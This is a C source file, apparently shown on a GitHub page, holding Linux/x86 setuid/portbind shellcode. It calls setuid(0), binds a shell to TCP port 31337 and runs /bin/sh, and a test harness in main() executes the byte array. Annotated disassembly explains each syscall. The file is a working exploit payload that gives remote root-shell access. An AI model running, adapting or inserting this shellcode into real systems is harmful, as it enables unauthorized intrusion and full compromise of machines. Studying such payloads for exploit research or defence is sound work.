-
Notifications
You must be signed in to change notification settings - Fork 1
/
shellcode-217.c
executable file
·112 lines (104 loc) · 4.11 KB
/
shellcode-217.c
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
/*
* $Id: portbind-linux.c,v 1.4 2004/06/02 12:22:30 raptor Exp $
*
* portbind-linux.c - setuid/portbind shellcode for Linux/x86
* Copyright (c) 2003 Marco Ivaldi <[email protected]>
*
* Simple portbind shellcode that bind()'s a setuid(0) shell on
* port 31337/tcp (based on bighawk's code).
*
* Tested on Linux.
*/
/*
* setuid(0)
*
* 8049380: 31 c0 xor %eax,%eax
* 8049382: 31 db xor %ebx,%ebx
* 8049384: b0 17 mov $0x17,%al
* 8049386: cd 80 int $0x80
*
* socket(AF_INET, SOCK_STREAM, 0)
*
* 8049388: 31 db xor %ebx,%ebx
* 804938a: f7 e3 mul %ebx
* 804938c: b0 66 mov $0x66,%al
* 804938e: 53 push %ebx
* 804938f: 43 inc %ebx
* 8049390: 53 push %ebx
* 8049391: 43 inc %ebx
* 8049392: 53 push %ebx
* 8049393: 89 e1 mov %esp,%ecx
* 8049395: 4b dec %ebx
* 8049396: cd 80 int $0x80
*
* bind(s, server, sizeof(server))
*
* 8049398: 89 c7 mov %eax,%edi
* 804939a: 52 push %edx
* 804939b: 66 68 7a 69 pushw $0x697a
* 804939f: 43 inc %ebx
* 80493a0: 66 53 push %bx
* 80493a2: 89 e1 mov %esp,%ecx
* 80493a4: b0 10 mov $0x10,%al
* 80493a6: 50 push %eax
* 80493a7: 51 push %ecx
* 80493a8: 57 push %edi
* 80493a9: 89 e1 mov %esp,%ecx
* 80493ab: b0 66 mov $0x66,%al
* 80493ad: cd 80 int $0x80
*
* listen(s, 1)
*
* 80493af: b0 66 mov $0x66,%al
* 80493b1: b3 04 mov $0x4,%bl
* 80493b3: cd 80 int $0x80
*
* accept(s, 0, 0)
*
* 80493b5: 50 push %eax
* 80493b6: 50 push %eax
* 80493b7: 57 push %edi
* 80493b8: 89 e1 mov %esp,%ecx
* 80493ba: 43 inc %ebx
* 80493bb: b0 66 mov $0x66,%al
* 80493bd: cd 80 int $0x80
*
* dup2(c, 2)
* dup2(c, 1)
* dup2(c, 0)
*
* 80493bf: 89 d9 mov %ebx,%ecx
* 80493c1: 89 c3 mov %eax,%ebx
* 80493c3: b0 3f mov $0x3f,%al
* 80493c5: 49 dec %ecx
* 80493c6: cd 80 int $0x80
* 80493c8: 41 inc %ecx
* 80493c9: e2 f8 loop 80493c3 <sc+0x43>
*
* execve("/bin/sh", ["/bin/sh"], NULL)
*
* 80493cb: 51 push %ecx
* 80493cc: 68 6e 2f 73 68 push $0x68732f6e
* 80493d1: 68 2f 2f 62 69 push $0x69622f2f
* 80493d6: 89 e3 mov %esp,%ebx
* 80493d8: 51 push %ecx
* 80493d9: 53 push %ebx
* 80493da: 89 e1 mov %esp,%ecx
* 80493dc: b0 0b mov $0xb,%al
* 80493de: cd 80 int $0x80
* 80493e0: 00 00 add %al,(%eax)
*/
char sc[] = /* 8 + 88 = 96 bytes */
"\x31\xc0\x31\xdb\xb0\x17\xcd\x80"
"\x31\xdb\xf7\xe3\xb0\x66\x53\x43\x53\x43\x53\x89\xe1\x4b\xcd\x80"
"\x89\xc7\x52\x66\x68"
"\x7a\x69" // port 31337/tcp, change if needed
"\x43\x66\x53\x89\xe1\xb0\x10\x50\x51\x57\x89\xe1\xb0\x66\xcd\x80"
"\xb0\x66\xb3\x04\xcd\x80"
"\x50\x50\x57\x89\xe1\x43\xb0\x66\xcd\x80"
"\x89\xd9\x89\xc3\xb0\x3f\x49\xcd\x80"
"\x41\xe2\xf8\x51\x68n/sh\x68//bi\x89\xe3\x51\x53\x89\xe1\xb0\x0b\xcd\x80";
main()
{
int (*f)() = (int (*)())sc; f();
}